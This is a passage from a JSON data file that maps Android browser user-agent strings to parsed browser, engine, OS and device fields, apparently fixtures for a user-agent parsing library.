"chrome", "browser_beta" : ".1916.141", "browser_major" : "35", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (0PCV1)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.2; 7040N Build/KVT49L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2272.96", "browser_major" : "41", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (7040N)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.2; ASUS_T00J Build/KVT49L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".0.0", "browser_major" : "30", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (ASUS_T00J)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.2; Aqua Y2 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36" : { "beta" : ".0.0", "browser" : "chrome", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (Aqua Y2)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "major" : "30", "match" : [ "device", "android", "mobile", "webkit", "chrome" ], "minor" : ".0", "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "public_beta" : ".0.0", "public_major" : "30", "public_minor" : ".0", "public_version" : 30, "version" : 30 }, "Mozilla/5.0 (Linux; Android 4.4.2; DROID RAZR HD Build/KDA20.62-15.1) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36 GSA/3.2.17.1009776.arm" : { "browser" : "chrome", "browser_beta" : ".0.0", "browser_major" : "30", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (DROID RAZR HD)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.2; GT-I9195 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36 GSA/4.3.10.88581490.arm" : { "browser" : "chrome", "browser_beta" : ".0.0", "browser_major" : "30", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (GT-I9195)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.2; HTC One Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36 GSA/4.2.16.87075793.arm" : { "browser" : "chrome", "browser_beta" : ".0.0", "browser_major" : "30", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (HTC One)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.2; LG-D321 Build/KOT49I.D32110c) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36 GSA/3.1.24.941712.arm" : { "browser" : "chrome", "browser_beta" : ".0.0", "browser_major" : "30", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (LG-D321)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.2; LG-D415 Build/KOT49I.D41510e) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.109 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2214.109", "browser_major" : "40", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (LG-D415)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.2; LG-D801 Build/KOT49I.D80120g) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.109 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2214.109", "browser_major" : "40", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (LG-D801)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.2; LG-D959 Build/KOT49I.D95920s) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36 GSA/4.2.16.87075793.arm" : { "browser" : "chrome", "browser_beta" : ".0.0", "browser_major" : "30", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (LG-D959)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.2; LGLS620 Build/KOT49I.LS620ZV3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.114 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1847.114", "browser_major" : "34", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (LGLS620)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.2; LGMS395 Build/KOT49I.MS39510d) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.89 Mobile Safari/537.36" : { "beta" : ".2214.89", "browser" : "chrome", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (LGMS395)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "major" : "40", "match" : [ "device", "android", "mobile", "webkit", "chrome" ], "minor" : ".0", "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "public_beta" : ".2214.89", "public_major" : "40", "public_minor" : ".0", "public_version" : 40, "version" : 40 }, "Mozilla/5.0 (Linux; Android 4.4.2; MW6617 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36 GSA/3.3.12.1106182.arm" : { "browser" : "chrome", "browser_beta" : ".0.0", "browser_major" : "30", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (MW6617)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.2; N9520 Build/KVT49L) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36 GSA/3.1.24.941712.arm" : { "browser" : "chrome", "browser_beta" : ".0.0", "browser_major" : "30", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (N9520)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.2; SAMSUNG-SGH-I537 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.109 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2214.109", "browser_major" : "40", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (SAMSUNG-SGH-I537)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.2; SCH-I535 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36 GSA/3.6.16.1614640.arm" : { "browser" : "chrome", "browser_beta" : ".0.0", "browser_major" : "30", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (SCH-I535)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.2; SCH-I545 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.109 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2214.109", "browser_major" : "40", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (SCH-I545)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.2; SM-G386T Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.517 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1750.517", "browser_major" : "33", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (SM-G386T)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.2; SM-G870W Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36 GSA/4.3.10.88581490.arm" : { "browser" : "chrome", "browser_beta" : ".0.0", "browser_major" : "30", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (SM-G870W)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.2; SM-G900M Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2272.96", "browser_major" : "41", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (SM-G900M)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.2; SM-G900T Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36 GSA/3.3.11.1069658.arm" : { "browser" : "chrome", "browser_beta" : ".0.0", "browser_major" : "30", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (SM-G900T)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.2; SM-N9005 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.109 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2214.109", "browser_major" : "40", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (SM-N9005)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.2; SM-N900T Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".0.0", "browser_major" : "30", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (SM-N900T)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.2; SM-P600 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.109 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2214.109", "browser_major" : "40", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android tablet (SM-P600)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "tablet", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.2; SM-T230NU Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.109 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2214.109", "browser_major" : "40", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android tablet (SM-T230NU)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "tablet", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.2; SM-T520 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.109 Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2214.109", "browser_major" : "40", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android tablet (SM-T520)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "tablet", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.2; SPH-L710 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36 GSA/4.3.10.88581490.arm" : { "browser" : "chrome", "browser_beta" : ".0.0", "browser_major" : "30", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (SPH-L710)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.2; VS980 4G Build/KOT49I.VS98027A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.109 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2214.109", "browser_major" : "40", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (VS980 4G)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.2; VS980 4G Build/KOT49I.VS98027A) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36 ACHEETAHI/2100501074" : { "browser" : "chrome", "browser_beta" : ".0.0", "browser_major" : "30", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (VS980 4G)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.2; VS985 4G Build/KVT49L.VS98512B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.109 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2214.109", "browser_major" : "40", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (VS985 4G)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.2; XT1032 Build/KXB20.9-1.10-1.9) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.109 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2214.109", "browser_major" : "40", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (XT1032)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.2; XT1056 Build/KXA20.16-1.32) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.89 Mobile Safari/537.36" : { "beta" : ".2214.89", "browser" : "chrome", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (XT1056)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "major" : "40", "match" : [ "device", "android", "mobile", "webkit", "chrome" ], "minor" : ".0", "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "public_beta" : ".2214.89", "public_major" : "40", "public_minor" : ".0", "public_version" : 40, "version" : 40 }, "Mozilla/5.0 (Linux; Android 4.4.2; XT907 Build/KDA20.62-15.1) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36 GSA/3.4.16.1149292.arm" : { "beta" : ".0.0", "browser" : "chrome", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (XT907)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "major" : "30", "match" : [ "device", "android", "mobile", "webkit", "chrome" ], "minor" : ".0", "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "public_beta" : ".0.0", "public_major" : "30", "public_minor" : ".0", "public_version" : 30, "version" : 30 }, "Mozilla/5.0 (Linux; Android 4.4.2; en-ca; SM-N900W8 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1500.94", "browser_major" : "28", "browser_minor" : ".0", "browser_string" : "Chrome", "country" : "CA", "device" : "android", "device_string" : "Android (SM-N900W8)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "language" : "EN", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG GT-I9505 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1500.94", "browser_major" : "28", "browser_minor" : ".0", "browser_string" : "Chrome", "country" : "US", "device" : "android", "device_string" : "Android (SAMSUNG GT-I9505)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "language" : "EN", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG SM-G900T Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.6 Chrome/28.0.1500.94 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1500.94", "browser_major" : "28", "browser_minor" : ".0", "browser_string" : "Chrome", "country" : "US", "device" : "android", "device_string" : "Android (SAMSUNG SM-G900T)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "language" : "EN", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG SPH-L520 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1500.94", "browser_major" : "28", "browser_minor" : ".0", "browser_string" : "Chrome", "country" : "US", "device" : "android", "device_string" : "Android (SAMSUNG SPH-L520)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "language" : "EN", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG SPH-L720 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1500.94", "browser_major" : "28", "browser_minor" : ".0", "browser_string" : "Chrome", "country" : "US", "device" : "android", "device_string" : "Android (SAMSUNG SPH-L720)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "language" : "EN", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.2; en-us; SAMSUNG-SGH-I257 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/1.5 Chrome/28.0.1500.94 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".1500.94", "browser_major" : "28", "browser_minor" : ".0", "browser_string" : "Chrome", "country" : "US", "device" : "android", "device_string" : "Android (SAMSUNG-SGH-I257)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "language" : "EN", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".2", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.3; HTC One Build/KTU84L) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.93 Mobile Safari/537.36" : { "browser" : "chrome", "browser_beta" : ".2171.93", "browser_major" : "39", "browser_minor" : ".0", "browser_string" : "Chrome", "device" : "android", "device_string" : "Android (HTC One)", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "engine_version" : "537.36", "match" : [ "device", "android", "mobile", "chrome", "webkit" ], "os" : "android", "os_beta" : ".3", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android", "os_version" : "4.4", "robot" : 0 }, "Mozilla/5.0 (Linux; Android 4.4.3; KFTHWI Build/KTU84M) AppleWebKit/537.36 (KHTML, like Gecko) Silk/44.1.54 like Chrome/44.0.2403.63 Safari/537.36" : { "browser" : "silk", "browser_beta" : ".54", "browser_major" : "44", "browser_minor" : ".1", "browser_string" : "Silk", "device" : "android", "device_string" : "Kindle Fire", "engine" : "webkit", "engine_beta" : "", "engine_major" : "537", "engine_minor" : ".36", "engine_string" : "WebKit", "match" : [ "device", "android", "kindlefire", "tablet", "silk", "webkit" ], "os" : "android", "os_beta" : ".3", "os_major" : "4", "os_minor" : ".4", "os_string" : "Android" }, "Mozilla/5.0 (Linux; Android 4.4.4; 